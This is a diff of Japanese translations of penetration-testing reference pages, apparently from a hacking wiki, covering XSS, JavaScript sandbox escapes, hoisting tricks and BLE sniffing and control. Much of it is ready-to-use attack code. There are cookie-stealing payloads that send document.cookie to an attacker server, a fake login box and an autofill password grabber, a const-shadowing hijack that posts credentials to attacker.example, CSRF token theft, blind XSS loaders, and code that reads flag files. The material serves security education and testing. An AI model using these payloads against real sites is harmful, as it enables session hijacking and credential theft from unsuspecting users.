||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
信頼できないコードを実行する前に **everything is undefined** になっている場合(例: [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves))、任意の信頼できないコードの実行を悪用するために「無から」有用なオブジェクトを生成することが可能です:
|
||||
もし信頼できないコードを実行する前に **everything is undefined** であれば([**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves) のように)、任意の信頼できないコードの実行を悪用するために有用なオブジェクトを「無から」生成することが可能です:
|
||||
|
||||
- import() の使用
|
||||
- import() を使用して
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- 間接的に`require`へアクセスする
|
||||
- 間接的に `require` にアクセスする
|
||||
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールはNode.jsによって関数内でラップされ、次のようになります:
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールは Node.js によって関数内でラップされ、次のようになります:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
したがって、そのモジュールから**別の関数を呼び出せる**場合、その関数内で `arguments.callee.caller.arguments[1]` を使って**`require`**にアクセスすることができます:
|
||||
したがって、そのモジュールから**別の関数を呼び出せる**場合、その関数内で `arguments.callee.caller.arguments[1]` を使用して **`require`** にアクセスすることが可能です:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1052,7 +1052,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
前の例と同様に、**エラーハンドラーを使用して**モジュールの**ラッパー**にアクセスし、**`require`**関数を取得することができます:
|
||||
前の例と同様に、**use error handlers** を使ってモジュールの **wrapper** にアクセスし、**`require`** 関数を取得できます:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1092,7 +1092,7 @@ trigger()
|
||||
```
|
||||
### Obfuscation & Advanced Bypass
|
||||
|
||||
- **1ページでの異なる obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- **1ページでのさまざまな難読化:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
@ -1271,7 +1271,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## XSS の一般的な payloads
|
||||
## XSS common payloads
|
||||
|
||||
### 複数の payloads を1つに
|
||||
|
||||
@ -1282,14 +1282,14 @@ steal-info-js.md
|
||||
|
||||
### Iframe Trap
|
||||
|
||||
ユーザーを iframe から出さずにページ内を移動させ、formsで送信された情報を含むその行動を盗む。
|
||||
ページを離れずにiframe内で移動させ、ユーザーの操作(フォームに送信された情報を含む)を盗む:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../iframe-traps.md
|
||||
{{#endref}}
|
||||
|
||||
### Cookies の取得
|
||||
### Cookies を取得
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
@ -1312,8 +1312,8 @@ steal-info-js.md
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> cookiesにHTTPOnlyフラグが設定されている場合、**JavaScriptからcookiesにアクセスすることはできません**。しかし、運が良ければ[some ways to bypass this protection](../hacking-with-cookies/index.html#httponly)が利用できます。
|
||||
|
||||
> HTTPOnly フラグが cookie に設定されている場合、JavaScript から cookies にアクセスすることはできません。 ただし、運が良ければ [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) を使ってこの保護を回避できる場合があります。
|
||||
|
||||
### ページのコンテンツを盗む
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
|
||||
@ -1327,7 +1327,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||||
xhr.open("GET", url, true)
|
||||
xhr.send(null)
|
||||
```
|
||||
### 内部IPの検出
|
||||
### 内部IPsを見つける
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
@ -1403,15 +1403,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Short times indicate a responding port_ _Longer times indicate no response._
|
||||
_短い時間は応答のあるポートを示します_ _長い時間は応答がないことを示します._
|
||||
|
||||
Chrome で禁止されている ports の一覧は [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)、Firefox の一覧は [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) を確認してください。
|
||||
Chromeでブロックされているポートの一覧は[**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)、Firefoxの一覧は[**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)を確認してください。
|
||||
|
||||
### credentials を要求するボックス
|
||||
### 認証情報を要求するボックス
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Auto-fill パスワードの取得
|
||||
### オートフィルされたパスワードの取得
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
@ -1422,11 +1422,11 @@ mode: 'no-cors',
|
||||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
|
||||
パスワードフィールドに何らかのデータが入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存済みのパスワードを選択して何も入力しなくても、credentials は ex-filtrated されます。
|
||||
|
||||
### Hijack form handlers to exfiltrate credentials (const shadowing)
|
||||
### フォームハンドラを乗っ取って credentials を exfiltrate する (const shadowing)
|
||||
|
||||
もし critical handler(例: `function DoLogin(){...}`)がページの後方で宣言され、あなたの payload が先に実行される場合(例: inline JS-in-JS sink 経由)、同じ名前の `const` を先に定義して handler を先取りしてロックします。後の function 宣言は `const` 名を rebind できないため、あなたの hook が制御を維持します:
|
||||
もし重要なハンドラ(例: `function DoLogin(){...}`)がページ内で後から宣言され、あなたのペイロードがより早く実行される場合(例:inline JS-in-JS sink 経由)、同名の `const` を先に定義してハンドラを先取り・ロックしてください。後からの function 宣言は `const` 名を再束縛できないため、あなたのフックが制御を保持します:
|
||||
```javascript
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value);
|
||||
@ -1435,18 +1435,18 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
};
|
||||
```
|
||||
注意
|
||||
- 実行順に依存します: your injection は正当な宣言より先に実行される必要があります。
|
||||
- あなたのペイロードが `eval(...)` でラップされている場合、`const/let` bindings は globals になりません。真の global かつ non-rebindable な binding を確保するには、セクション “Deliverable payloads with eval(atob()) and scope nuances” にある動的な `<script>` injection technique を使用してください。
|
||||
- キーワードフィルタがコードをブロックする場合は、Unicode-escaped identifiers や `eval(atob('...'))` 配信と組み合わせてください(上で示したように)。
|
||||
- これは実行順序に依存します: あなたのインジェクションは正規の宣言より先に実行されなければなりません。
|
||||
- もしペイロードが`eval(...)`でラップされている場合、`const/let`のバインディングはグローバルになりません。真にグローバルで再バインド不可のバインディングを確保するために、セクション “Deliverable payloads with eval(atob()) and scope nuances” にある動的な`<script>`インジェクション技法を使用してください。
|
||||
- キーワードフィルタがコードをブロックする場合は、上で示したように Unicode エスケープされた識別子や `eval(atob('...'))` を使った配信と組み合わせてください。
|
||||
|
||||
### Keylogger
|
||||
|
||||
github を検索しただけで、いくつか見つかりました:
|
||||
githubで検索しただけで、いくつか見つかりました:
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- また metasploit の `http_javascript_keylogger` を使うこともできます
|
||||
- また metasploit の `http_javascript_keylogger` を使用することもできます
|
||||
|
||||
### Stealing CSRF tokens
|
||||
```javascript
|
||||
@ -1494,7 +1494,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
|
||||
|
||||
### Blind XSS payloads
|
||||
|
||||
次も使用できます: [https://xsshunter.com/](https://xsshunter.com)
|
||||
また、次も利用できます: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
@ -1559,9 +1559,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
<!-- In case your target makes use of AngularJS -->
|
||||
{{constructor.constructor("import('{SERVER}/script.js')")()}}
|
||||
```
|
||||
### Regex - 隠されたコンテンツへのアクセス
|
||||
### Regex - Access Hidden Content
|
||||
|
||||
この[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、別のオブジェクトのJS属性で見つけられることが分かります。例えば、REGEXの入力は、そのregexの入力値が削除された後でも見つけることができます:
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) から、JS 上でいくつかの値が消えても、別のオブジェクトの JS 属性内でそれらを見つけられることがわかります。たとえば、REGEX の input は、その値が削除された後でも見つけることができます:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1589,7 +1589,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
|
||||
### XSS in Markdown
|
||||
|
||||
レンダリングされるMarkdownコードを注入できますか?もしかするとXSSを誘発できるかも!確認:
|
||||
レンダリングされるMarkdownコードを注入できますか? もしかするとXSSを引き起こせるかもしれません! 確認:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1598,24 +1598,24 @@ xss-in-markdown.md
|
||||
|
||||
### XSS to SSRF
|
||||
|
||||
XSSを**site that uses caching**で見つけましたか?Edge Side Include Injectionを使って、それを**upgrading that to SSRF**にアップグレードしてみてください。次のpayload:
|
||||
**キャッシュを使用しているサイト**でXSSを見つけましたか? Edge Side Include Injectionを使って、以下のpayloadで**それをSSRFにアップグレード**してみてください:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Use it to bypass cookie restrictions, XSS filters and much more!\
|
||||
この手法の詳細はここ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
これを使って cookie 制限、XSS フィルタなどを回避できます!\
|
||||
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### 動的に作成された PDF における XSS
|
||||
|
||||
もしウェブページがユーザー入力を使って PDF を生成している場合、PDF を作成する **bot を騙して** **任意の JS コードを実行する** ように仕向けることを試せます。\
|
||||
つまり、**PDF creator bot finds** 何らかの **HTML** **tags** を見つけると、それらを **interpret** し、この挙動を **abuse** して **Server XSS** を引き起こすことができます。
|
||||
もしウェブページがユーザ制御の入力を使って PDF を生成している場合、PDF を作成している **trick the bot** を **executing arbitrary JS code** させるよう試みることができます。\
|
||||
つまり、もし **PDF creator bot finds** が何らかの **HTML** **tags** を見つけると、それらを **interpret** し、その振る舞いを **abuse** して **Server XSS** を引き起こすことができます。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
HTML タグを注入できない場合は、**PDF データを注入する**ことを試してみる価値があります:
|
||||
もし HTML tags を注入できない場合は、**inject PDF data** を試す価値があるかもしれません:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1624,15 +1624,15 @@ pdf-injection.md
|
||||
|
||||
### Amp4Email における XSS
|
||||
|
||||
AMP はモバイルデバイスでのウェブページのパフォーマンスを加速することを目的としており、速度とセキュリティを重視しつつ機能を提供するために JavaScript を補助した HTML タグを取り入れています。様々な機能に対応するコンポーネントは [AMP components](https://amp.dev/documentation/components/?format=websites) から参照できます。
|
||||
AMP はモバイルデバイスでのウェブページの表示速度を向上させることを目的としており、機能性を JavaScript で補強した HTML タグを取り入れ、速度とセキュリティを重視しています。さまざまな機能のためのコンポーネントをサポートしており、[AMP components](https://amp.dev/documentation/components/?format=websites) から参照できます。
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) フォーマットは特定の AMP コンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
|
||||
The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) フォーマットは特定の AMP コンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
|
||||
|
||||
例: [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### ファイルアップロードでの XSS (svg)
|
||||
### XSS — ファイルアップロード (svg)
|
||||
|
||||
次のようなファイルを画像としてアップロードします (出典: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
Upload as an image a file like the following one (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
@ -1688,11 +1688,10 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
以下で**より多くの SVG payloads**を見つけてください [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
次のリンクで**より多くの SVG payloads を見つけてください** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## その他の JS トリックと関連情報
|
||||
|
||||
|
||||
{{#ref}}
|
||||
other-js-tricks.md
|
||||
{{#endref}}
|
||||
@ -1706,7 +1705,7 @@ other-js-tricks.md
|
||||
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
|
||||
|
||||
## 参考資料
|
||||
## 参考
|
||||
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
|
||||
|
@ -4,29 +4,29 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
JavaScript には、変数、関数、class、または import の宣言がコード実行前にスコープの先頭に持ち上げられるという仕組み、**Hoisting** が存在します。この処理は JavaScript エンジンが自動的に行い、スクリプトを複数回のパスで処理します。
|
||||
In the JavaScript language, a mechanism known as **Hoisting** is described where declarations of variables, functions, classes, or imports are conceptually raised to the top of their scope before the code is executed. This process is automatically performed by the JavaScript engine, which goes through the script in multiple passes.
|
||||
|
||||
最初のパスでは、エンジンがコードをパースして構文エラーをチェックし、抽象構文木に変換します。この段階には hoisting が含まれ、特定の宣言が実行コンテキストの先頭に移されます。パース段階が成功し(構文エラーがないことが確認されれば)、スクリプトの実行が続行されます。
|
||||
During the first pass, the engine parses the code to check for syntax errors and transforms it into an abstract syntax tree. This phase includes hoisting, a process where certain declarations are moved to the top of the execution context. If the parsing phase is successful, indicating no syntax errors, the script execution proceeds.
|
||||
|
||||
重要な点は以下です:
|
||||
重要なのは次の点です:
|
||||
|
||||
1. 実行が行われるためにはスクリプトに構文エラーがあってはならない。構文ルールは厳密に守られる必要があります。
|
||||
2. hoisting によりスクリプト内のコード配置が実行結果に影響するため、実際に実行されるコードはテキスト上の表現と異なる場合があります。
|
||||
1. スクリプトは実行されるために構文エラーがないことが必要です。構文規則は厳密に守られなければなりません。
|
||||
2. hoisting によりスクリプト内のコードの配置が実行に影響を与えるため、実際に実行されるコードはそのテキスト表現と異なる場合があります。
|
||||
|
||||
#### Types of Hoisting
|
||||
#### Hoisting の種類
|
||||
|
||||
MDN の情報によると、JavaScript には大きく分けて 4 種類の hoisting があります:
|
||||
Based on the information from MDN, there are four distinct types of hoisting in JavaScript:
|
||||
|
||||
1. **Value Hoisting**: 宣言行より前にスコープ内で変数の値を使用できるようにする。
|
||||
2. **Declaration Hoisting**: スコープ内で宣言前に変数を参照しても `ReferenceError` を発生させず、ただし変数の値は `undefined` になる。
|
||||
3. このタイプは、実際の宣言行より前に変数が宣言されることによりスコープ内の挙動が変わる。
|
||||
4. 宣言の副作用が、それを含む他のコードが評価される前に発生する。
|
||||
1. **Value Hoisting**: Enables the use of a variable's value within its scope before its declaration line.
|
||||
2. **Declaration Hoisting**: Allows referencing a variable within its scope before its declaration without causing a `ReferenceError`, but the variable's value will be `undefined`.
|
||||
3. This type alters the behavior within its scope due to the variable's declaration before its actual declaration line.
|
||||
4. The declaration's side effects occur before the rest of the code containing it is evaluated.
|
||||
|
||||
詳細では、function 宣言は type 1 の hoisting 挙動を示します。`var` キーワードは type 2 の挙動を示します。`let`、`const`、および `class` を含むレキシカル宣言は type 3 の挙動を示します。最後に、`import` 文は type 1 と type 4 の両方の挙動で hoist される点が特殊です。
|
||||
詳しくは、function declarations は type 1 の hoisting 挙動を示します。`var` キーワードは type 2 の挙動を示します。Lexical declarations(`let`、`const`、`class` を含む)は type 3 の挙動を示します。最後に、`import` 文は type 1 と type 4 の両方の挙動でホイスティングされる点でユニークです。
|
||||
|
||||
## シナリオ
|
||||
|
||||
したがって、未宣言のオブジェクトが使用された後に **Inject JS code after an undeclared object** できるような状況がある場合、宣言を追加して **fix the syntax** すれば(エラーを投げる代わりに)あなたのコードが実行されるようにできます:
|
||||
Therefore if you have scenarios where you can **Inject JS code after an undeclared object** is used, you could **fix the syntax** by declaring it (so your code gets executed instead of throwing an error):
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -131,7 +131,7 @@ trigger()
|
||||
```
|
||||
### constで名前をロックして後の宣言を先取りする
|
||||
|
||||
トップレベルの `function foo(){...}` がパースされる前に実行できる場合、同じ名前でレキシカル束縛(例: `const foo = ...`)を宣言すると、後でその関数宣言がその識別子に再バインドするのを防げます。これはRXSSで悪用され、ページ後半に定義された重要なハンドラを乗っ取るために使えます:
|
||||
トップレベルの `function foo(){...}` が解析される前に実行できる場合、同じ名前でレキシカルバインディング(例: `const foo = ...`)を宣言すると、その識別子が後の関数宣言によって再バインドされるのを防げます。これはページの後で定義される重要なハンドラを乗っ取るために RXSSで悪用できます:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
@ -145,9 +145,9 @@ function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
注意事項
|
||||
- これは実行順序とグローバル(トップレベル)スコープに依存します。
|
||||
- ペイロードが `eval()` の内部で実行される場合、`eval` 内の `const/let` はブロックスコープでありグローバルバインディングを作成しないことに注意してください。真のグローバルな `const` を確立するには、そのコードを含む新しい `<script>` 要素を注入してください。
|
||||
- ペイロードが `eval()` 内で実行される場合、`eval` 内の `const/let` はブロックスコープとなりグローバルなバインディングを作成しないことを忘れないでください。真のグローバルな `const` を確立するには、コードを含む新しい `<script>` 要素を挿入してください。
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
|
@ -4,19 +4,19 @@
|
||||
|
||||
## はじめに
|
||||
|
||||
Bluetooth 4.0 の仕様以降で利用可能な BLE は、2400〜2483.5 MHz の範囲でわずか 40 チャネルのみを使用します。対照的に、従来の Bluetooth は同じ範囲で 79 チャネルを使用します。
|
||||
Bluetooth 4.0 仕様以降利用可能な BLE は、2400〜2483.5 MHz の範囲をカバーする 40 チャンネルのみを使用します。対照的に、従来の Bluetooth は同じ範囲で 79 チャンネルを使用します。
|
||||
|
||||
BLE デバイスは **advertising packets**(**beacons**)を送信して通信します。これらのパケットは、BLE デバイスの存在を近隣のデバイスにブロードキャストします。これらの beacons は時に **データを送信する** こともあります。
|
||||
BLE デバイスは **advertising packets**(**beacons**)を送信して通信します。これらのパケットは近接するデバイスに BLE デバイスの存在を通知します。これらの beacons は場合によっては **データを送信** することもあります。
|
||||
|
||||
受信側のデバイス(central device とも呼ばれる)は、advertising パケットに対して当該 advertising デバイス宛てに送られる **SCAN request** で応答できます。そのスキャンへの **response** は **advertising** パケットと同じ構造を使用しますが、初回の advertising で収まらなかった追加情報(フルデバイス名など)を含みます。
|
||||
リッスンするデバイス(central device とも呼ばれる)は、advertising packet に対して特定の advertising デバイスに送られる **SCAN request** で応答できます。そのスキャンへの **response** は、初回の advertising request に収まりきらなかった追加情報(フルデバイス名など)を含めるため、**advertising** パケットと同じ構造を使用します。
|
||||
|
||||
.png>)
|
||||
|
||||
プレアンブルバイトは周波数の同期に使われ、4 バイトの access address は複数のデバイスが同じチャネルで接続を確立しようとする場合に使用される **connection identifier** です。続いて、Protocol Data Unit(**PDU**)には **advertising data** が格納されます。PDU にはいくつかの種類があり、最も一般的に使われるのは ADV_NONCONN_IND と ADV_IND です。デバイスは接続を受け付けない場合、**ADV_NONCONN_IND** PDU タイプを使用し、advertising パケットのみでデータを送信します。デバイスが接続を許可する場合は **ADV_IND** を使用し、**connection** が **established** されると advertising パケットの送信を停止します。
|
||||
プレアンブルバイトは周波数を同期させ、4 バイトの access address は複数のデバイスが同じチャンネルで接続を確立しようとするシナリオで使用される **connection identifier** です。続いて Protocol Data Unit(**PDU**)には **advertising data** が含まれます。PDU にはいくつか種類があり、最も一般的に使われるのは ADV_NONCONN_IND と ADV_IND です。デバイスは接続を受け付けない場合、**ADV_NONCONN_IND** PDU タイプを使用して advertising パケット内のみでデータを送信します。デバイスが接続を許可する場合は **ADV_IND** を使用し、**connection** が **確立** されると advertising パケットの送信を停止します。
|
||||
|
||||
### GATT
|
||||
|
||||
Generic Attribute Profile(GATT)は、デバイスがデータをどのようにフォーマットし転送するかを定義します。BLE デバイスの攻撃対象面を解析する際には、GATT(または GATTs)に注目することが多いです。というのも、デバイス機能がどのようにトリガーされるか、データがどのように格納・グループ化・変更されるかが GATT に定義されているからです。GATT はデバイスの characteristics、descriptors、services を 16 ビットまたは 32 ビットの値としてテーブルに列挙します。characteristic は central device と peripheral 間で送受信されるデータ値です。これらの characteristics には追加情報を提供する descriptors を持つことがあります。関連する動作を実行する場合、characteristics はしばしば services にグループ化されます。
|
||||
The **Generic Attribute Profile** (GATT) は、**デバイスがデータをどのようにフォーマットし転送すべきか** を定義します。BLE デバイスのアタックサーフェスを分析する際には、GATT(または複数の GATT)に注目することが多いです。なぜならそこが **デバイス機能がトリガーされる場所** であり、データがどのように保存・グループ化・変更されるかを示すからです。GATT はデバイスの characteristics、descriptors、services を 16 ビットまたは 32 ビットの値としてテーブルに列挙します。**characteristic** は central device と peripheral 間で **送受信されるデータ** の値です。これらの characteristics にはそれらについての追加情報を **提供する descriptors** が付くことがあります。関連する動作を行う場合、**characteristics** はしばしば **services** に **グループ化** されます。
|
||||
|
||||
## 列挙
|
||||
```bash
|
||||
@ -30,7 +30,7 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
|
||||
```
|
||||
### GATTool
|
||||
|
||||
**GATTool** は別のデバイスと**接続**を**確立**し、そのデバイスの**特性**を列挙し、属性の読み書きを行うことができます。\
|
||||
**GATTool** は別のデバイスと **connection** を **establish** し、そのデバイスの **characteristics** を一覧表示し、attributes の読み書きができます。\
|
||||
GATTTool は `-I` オプションでインタラクティブシェルを起動できます:
|
||||
```bash
|
||||
gatttool -i hci0 -I
|
||||
@ -64,15 +64,15 @@ sudo bettercap --eval "ble.recon on"
|
||||
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
|
||||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||||
```
|
||||
## Sniffing と未ペアリングの BLE デバイスを能動的に制御する
|
||||
## Sniffing およびペアリングされていない BLE デバイスの能動的制御
|
||||
|
||||
多くの低コストな BLE ペリフェラルは pairing/bonding を強制しません。bonding がないと Link Layer encryption は有効にならないため、ATT/GATT トラフィックは cleartext になります。off-path sniffer は接続を追跡して GATT 操作をデコードし、characteristic handles と値を把握できます。近隣の任意のホストは接続してこれらの writes を replay することでデバイスを制御できます。
|
||||
多くの低価格な BLE 周辺機器は pairing/bonding を強制しません。bonding がないと Link Layer encryption は有効にならないため、ATT/GATT トラフィックは平文です。オフパスの sniffer は接続を追跡して GATT 操作をデコードし、characteristic handles と values を特定できます。近くのホストは接続してそれらの writes を再生することでデバイスを制御できます。
|
||||
|
||||
### Sniffle を使った Sniffing (CC26x2/CC1352)
|
||||
### Sniffing with Sniffle (CC26x2/CC1352)
|
||||
|
||||
ハードウェア: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) を NCC Group の Sniffle ファームウェアで再フラッシュしたもの。
|
||||
ハードウェア: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) に NCC Group の Sniffle firmware を再フラッシュしたもの。
|
||||
|
||||
Linux 上に Sniffle とその Wireshark extcap をインストールする:
|
||||
Linux に Sniffle とその Wireshark extcap をインストール:
|
||||
```bash
|
||||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||
@ -91,7 +91,7 @@ else
|
||||
echo "[+] - Sniffle already installed at 1.10.0"
|
||||
fi
|
||||
```
|
||||
Sonoff を Sniffle firmware でフラッシュする(シリアルデバイスが一致していることを確認してください。例: /dev/ttyUSB0):
|
||||
Sniffle firmwareでSonoffをフラッシュする(シリアルデバイスが一致していることを確認してください。例: /dev/ttyUSB0):
|
||||
```bash
|
||||
pushd /opt/sniffle/
|
||||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
@ -104,13 +104,13 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
|
||||
deactivate
|
||||
popd
|
||||
```
|
||||
Sniffle extcap を使って Wireshark でキャプチャし、フィルタリングで状態変更を伴う書き込みに素早く pivot する:
|
||||
Sniffle extcap 経由で Wireshark にキャプチャし、フィルタで state-changing writes に素早く pivot します:
|
||||
```text
|
||||
_ws.col.info contains "Sent Write Command"
|
||||
```
|
||||
これはクライアントからの ATT Write Commands をハイライトします。ハンドルと値は多くの場合デバイスの動作に直接対応します(例:ブザー/alert characteristic に 0x01 を書き込むと作動、0x00 を書き込むと停止)。
|
||||
これはクライアントからの ATT Write Commands を強調表示します。handle と value は多くの場合デバイスの動作に直接対応します(例: buzzer/alert characteristic に write 0x01、停止は 0x00)。
|
||||
|
||||
Sniffle CLI の簡単な例:
|
||||
Sniffle CLI の簡単な例:
|
||||
```bash
|
||||
python3 scanner.py --output scan.pcap
|
||||
# Only devices with very strong signal
|
||||
@ -118,18 +118,18 @@ python3 scanner.py --rssi -40
|
||||
# Filter advertisements containing a string
|
||||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||
```
|
||||
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin も動作します。小型/安価な Nordic ドングルでは、通常 sniffer firmware をロードするために USB bootloader を上書きするので、専用の sniffer ドングルを保持するか、後でブートローダを復元するために J-Link/JTAG が必要になります。
|
||||
